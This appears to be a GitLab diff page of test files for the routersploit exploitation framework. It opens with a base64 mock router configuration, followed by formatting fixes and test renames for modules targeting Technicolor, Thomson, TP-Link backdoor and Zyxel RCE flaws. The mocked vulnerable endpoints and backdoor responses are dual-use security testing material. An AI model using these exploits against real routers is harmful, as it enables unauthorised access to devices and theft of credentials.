QPZM//////////////////////////////+gRYVMGIjCgEIFh7/9cD///////////////////3gACAAAmo2///////////////////////////6CZL4AQMTMKYSwPjcVMD/zov+gH1zifQCwQEct9YH///8/YYH3h1EJLxGAAEAB0CDw9o/fA/////////////////////////////hkABClG0rIf4AKROxQ/8D5474wP7Lr8cD0w75wP147LeYFxnngf////////2HJ7xXnA///////6YAIAABohRf///////uCoWoBAAqMKAJQQvv///////3wP/////////////////////6A+PaAoFvDCh3MEfb/////////////////////9MD/////////lVqMD//+8T//////////////////cAAIAABLju///kdz/////////////////////////////////////////////fA///////////////////////////////////////////WACAAATZ4f///////////////////////YEkJf//3E////////////////////////////////////////////////////////////////88AACAAATq93//9gf////////////////////////////////////////////////////////////////9wJW////uJ///////////////////+GAAgAAEuP9/1Hc/////////////////////////////////////////////3wP///////////////////////////////////////////+YAIAABNnx//////////////////////yBI+X//9xP/////////////////////////////////////////////////////////////////1wAAIAABOsHf//2B////////////////////////////////////////////////////////////////UCVn///7if////////////////////5YACAAASY7n/////////////////////////////////////////////GB/////////////////////////////////////////////+wAIAABOoB////////////////////+4Ejpf//3E//////////////////////////////////////////////////////////////////88D94ACAAATMn/////////////////////////////////////////////////////////////////0BK4X//9xP//////////////////////TAAIAABLkff/SIP/////////////////////////////////////////+wP//////////////////////////////////////////////+OACAAATqEf//////////////////+oEjZf//3E//////////////////////////////////////////////////////////////////88D//uAAgAAEzZ////////////////////////////////////////////////////////////////wBK0X//9xP///////////////////////2wACAAAS5L2SIP/////////////////////////////////////////+wP////////////////////////////////////////////////ngAgAAE+iH/////////////////+YEjJf//3E//////////////////////////////////////////////////////////////////88D///+GAACAAAVOn///////////////////////////////8DJZIDACMMKA4gS0v///////////////////////////////sD///////////////////////////tgAgAAEiTN///////////////////////////////////////////////////////////////////////////////////////////hgAIAACuAGB////////////oHREgGAAYYUARAiN////////////1gf////////////+gFJFQMJJJ6TMXMBUAIAgABhgIRRf/////xAcIKf+B88gY3zxzgSFYmSFhmB8AG9EAAAC+piQAzq8AIGDIaDGcDgY83GTQeGB//UBxBjA/B9yLy0AgQAxM2EZaH4hQfGB+NB/zgf//////////////////////////////////9sAACAAAdJjX///////////////////////5WJP/MD////+2JPL8///7gkVgkVAbof/+JBNJyNhpOxl3v//jgf/////////////////////////////////8f+B85h3/////////////ICAQABABBkTQBBkAFQv//+wACAAATovn////////4CYZP////////5gf//6IZ//////////////////////////////////////////////////////////////////////mAAgAAJyzf/rZIgECgAAQAINMiTEOB/6C2iACCNM4RAWCACKH/jnfmB/////7/yMAE/8IABQQkTAxTKpBhH/7AXPAQhiukhxhYoYUhowBLWYzA6/8CmTIeeBtxvkzceYBAm49MDbj4wP/////////////////////////////////////////////////////////////////////////7YAIAAC4tAf///qGLotc6sJYHA9koCYtwkAEzdArtXhgf//////////9U7D+AVEmwoRB////E9Fy9U/jgQRfMQHo///8wP/9KHYgEARIwoCRAQTScjYaTsZeD/mBoYcADICRWCRVpf88D//////////8AGHl/////+IBK5jhCf/////kATJCE8CkVBkNRsMS+Msh4YH5kkf///////////////////////vgfOSRwzyfngfaSR/////////tgAgAAH+G/7YH//ypIf///////////YHzkkcNMn54H2kkf///////////////////////+aikbABBAIwphEAoARzaPGbh4Yj//////////gfM99sD////5gOK8GQymYwnU2HT3/5v8Awmv////88D//////////////////////////eACAAAZZJv/////////////////////////////////916AHnY2GE3DEazCv9a9H/////9KOFOAEChTCmEQCQxDC0/1wP//////////////////////////////////////////////+mACAAAiKE3////////+akqPIAFENRwlgZmBJTjEwIFDrlfp9DoHICCUC4QaGh5eym2SAX5hXCABCZXzntgf/////////////////////yU8gFAYkwphLA////////////////////////////////////KiZchomYUwlgf///////////////////1wAAIAABIjgf//////////////////////////////////////////////////////////////////////////////////////////4YACAAAUwBgf/////////////////////////////////////////////////////////////////////////////////////////4AN+v1KAvOhyGA2HOACAAAi8p64H///////8IX4ZTcZDGaDScIW3//kVCGMxiNhlvf//LApEKZMFpHMJ0Mp3MJ54v//gVIYHgICgcjeZDqYzpxv//DA////////6IIXf//4MBgMRuQRrx+AWI7A///////////////////////////////////////////////////////////2AAA3gAbqX//////wGxorYRYAQAQISDhLA///D/33jgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc3lzIGZlYXR1cmUgdHIwNjkgMQpzeXMgZXJyY3RsIDANCnN5cyB0cmNsIGxldmVsIDUNCnN5cyB0cmNsIHR5cGUgMTE4MA0Kc3lzIHRyY3AgY3IgNjQgOTYNCnN5cyB0cmNsIHN3IG9mZgpzeXMgdHJjcCBzdyBvZmYKaXAgdGNwIG1zcyA1MTINCmlwIHRjcCBsaW1pdCAyDQppcCB0Y3AgaXJ0dCA2NTAwMA0KaXAgdGNwIHdpbmRvdyAyDQppcCB0Y3AgY2VpbGluZyA2MDAwDQppcCByaXAgYWN0aXZhdGUNCmlwIHJpcCBtZXJnZSBvbg0KaXAgaWNtcCBkaXNjb3ZlcnkgZW5pZjAgb2ZmCnBwcCBpcGNwIGNvbXByZXNzIG9mZgpzeXMgd2RvZyBzdyBvbgpzeXMgcXVpY2sgZW5hYmxlCndhbiBhZHNsIHJhdGUgb2ZmCmYKZQp3YW4gYWRzbCByYXRlIG9mZgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w==")
def test_check_success(target): def test_check_success(target):
""" Test scenario - successful check """ """ Test scenario - successful check """
......
...@@ -5,8 +5,11 @@ from routersploit.modules.exploits.routers.technicolor.tc7200_password_disclosur ...@@ -5,8 +5,11 @@ from routersploit.modules.exploits.routers.technicolor.tc7200_password_disclosur
def test_check_success(target): def test_check_success(target):
""" Test scenario - successful exploitation """ """ Test scenario - successful exploitation """
encrypted_mock = binascii.unhexlify('F29000B62A499FD0A9F39A6ADD2E7780' # encrypted zero block + data from https://www.exploit-db.com/exploits/31894/ encrypted_mock = binascii.unhexlify(
+'c07fdfca294e1a4e4b74dbb2ffb7d2a73a90f00111134dc8d9810a90f2a9bf5862a179a20a9418a486bd4c8170730c8f') "F29000B62A499FD0A9F39A6ADD2E7780" # encrypted zero block + data from https://www.exploit-db.com/exploits/31894/
"c07fdfca294e1a4e4b74dbb2ffb7d2a73a90f00111134dc8d9810a90f2a9bf5862a179a20a9418a486bd4c8170730c8f"
)
route_mock = target.get_route_mock("/goform/system/GatewaySettings.bin", methods=["GET"]) route_mock = target.get_route_mock("/goform/system/GatewaySettings.bin", methods=["GET"])
route_mock.return_value = ( route_mock.return_value = (
encrypted_mock encrypted_mock
......
...@@ -2,7 +2,7 @@ from routersploit.modules.exploits.routers.thomson.twg850_password_disclosure im ...@@ -2,7 +2,7 @@ from routersploit.modules.exploits.routers.thomson.twg850_password_disclosure im
def test_exploit_success(target): def test_exploit_success(target):
""" Test scenario - successful exploitation """ """ Test scenario - successful exploitation """
route_mock = target.get_route_mock("/GatewaySettings.bin", methods=["GET"]) route_mock = target.get_route_mock("/GatewaySettings.bin", methods=["GET"])
route_mock.return_value = ( route_mock.return_value = (
......
...@@ -5,7 +5,7 @@ from routersploit.modules.exploits.routers.tplink.wdr740nd_wdr740n_backdoor impo ...@@ -5,7 +5,7 @@ from routersploit.modules.exploits.routers.tplink.wdr740nd_wdr740n_backdoor impo
def apply_response(*args, **kwargs): def apply_response(*args, **kwargs):
cmd = request.args["cmd"] cmd = request.args["cmd"]
data = 'TEST; var cmdResult = new Array(\n"'+cmd+'",\n0,0 ); TEST' data = 'TEST; var cmdResult = new Array(\n"' + cmd + '",\n0,0 ); TEST'
return data, 200 return data, 200
......
from unittest import mock from unittest import mock
from flask import Response from flask import Response
from routersploit.modules.exploits.routers.zyxel.d1000_rce import Exploit from routersploit.modules.exploits.routers.zyxel.d1000_rce import Exploit
......
...@@ -11,7 +11,6 @@ def test_check_success(target): ...@@ -11,7 +11,6 @@ def test_check_success(target):
"TEST" "TEST"
) )
exploit = Exploit() exploit = Exploit()
exploit.target = target.host exploit.target = target.host
exploit.port = target.port exploit.port = target.port
......
...@@ -13,7 +13,6 @@ def test_check_success(mocked_shell, target): ...@@ -13,7 +13,6 @@ def test_check_success(mocked_shell, target):
"TEST" "TEST"
) )
exploit = Exploit() exploit = Exploit()
exploit.target = target.host exploit.target = target.host
exploit.port = target.port exploit.port = target.port
......
...@@ -13,7 +13,6 @@ def test_check_success(mocked_shell, target): ...@@ -13,7 +13,6 @@ def test_check_success(mocked_shell, target):
"TEST" "TEST"
) )
exploit = Exploit() exploit = Exploit()
exploit.target = target.host exploit.target = target.host
exploit.port = target.port exploit.port = target.port
......
...@@ -11,7 +11,6 @@ def test_check_success(target): ...@@ -11,7 +11,6 @@ def test_check_success(target):
"TEST\n" "TEST\n"
) )
exploit = Exploit() exploit = Exploit()
exploit.target = target.host exploit.target = target.host
exploit.port = target.port exploit.port = target.port
......
...@@ -33,7 +33,7 @@ def test_exploit_not_found_response(not_found_target, module): ...@@ -33,7 +33,7 @@ def test_exploit_not_found_response(not_found_target, module):
@pytest.mark.parametrize("module", iter_modules(directory)) @pytest.mark.parametrize("module", iter_modules(directory))
def test_exploit_empty_response(error_target, module): def test_exploit_error_response(error_target, module):
exploit = module() exploit = module()
exploit.target = error_target.host exploit.target = error_target.host
exploit.port = error_target.port exploit.port = error_target.port
...@@ -42,7 +42,7 @@ def test_exploit_empty_response(error_target, module): ...@@ -42,7 +42,7 @@ def test_exploit_empty_response(error_target, module):
@pytest.mark.parametrize("module", iter_modules(directory)) @pytest.mark.parametrize("module", iter_modules(directory))
def test_exploit_empty_response(redirect_target, module): def test_exploit_redirect_response(redirect_target, module):
exploit = module() exploit = module()
exploit.target = redirect_target.host exploit.target = redirect_target.host
exploit.port = redirect_target.port exploit.port = redirect_target.port
......
...@@ -11,7 +11,7 @@ def test_exploit_info(exploit): ...@@ -11,7 +11,7 @@ def test_exploit_info(exploit):
assert "name" in info assert "name" in info
assert isinstance(info["name"], str) assert isinstance(info["name"], str)
assert "description" in info assert "description" in info
assert isinstance(info["description"], str) assert isinstance(info["description"], str)
assert "authors" in info assert "authors" in info
...@@ -25,7 +25,7 @@ def test_exploit_info(exploit): ...@@ -25,7 +25,7 @@ def test_exploit_info(exploit):
@pytest.mark.parametrize("creds", iter_modules("./routersploit/modules/creds")) @pytest.mark.parametrize("creds", iter_modules("./routersploit/modules/creds"))
def test_exploit_info(creds): def test_creds_info(creds):
info = creds._Exploit__info__ info = creds._Exploit__info__
assert isinstance(info, dict) assert isinstance(info, dict)
...@@ -33,7 +33,7 @@ def test_exploit_info(creds): ...@@ -33,7 +33,7 @@ def test_exploit_info(creds):
assert "name" in info assert "name" in info
assert isinstance(info["name"], str) assert isinstance(info["name"], str)
assert "description" in info assert "description" in info
assert isinstance(info["description"], str) assert isinstance(info["description"], str)
assert "authors" in info assert "authors" in info
...@@ -44,7 +44,7 @@ def test_exploit_info(creds): ...@@ -44,7 +44,7 @@ def test_exploit_info(creds):
@pytest.mark.parametrize("scanner", iter_modules("./routersploit/modules/scanners")) @pytest.mark.parametrize("scanner", iter_modules("./routersploit/modules/scanners"))
def test_exploit_info(scanner): def test_scanner_info(scanner):
info = scanner._Exploit__info__ info = scanner._Exploit__info__
assert isinstance(info, dict) assert isinstance(info, dict)
...@@ -52,7 +52,7 @@ def test_exploit_info(scanner): ...@@ -52,7 +52,7 @@ def test_exploit_info(scanner):
assert "name" in info assert "name" in info
assert isinstance(info["name"], str) assert isinstance(info["name"], str)
assert "description" in info assert "description" in info
assert isinstance(info["description"], str) assert isinstance(info["description"], str)
assert "authors" in info assert "authors" in info
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment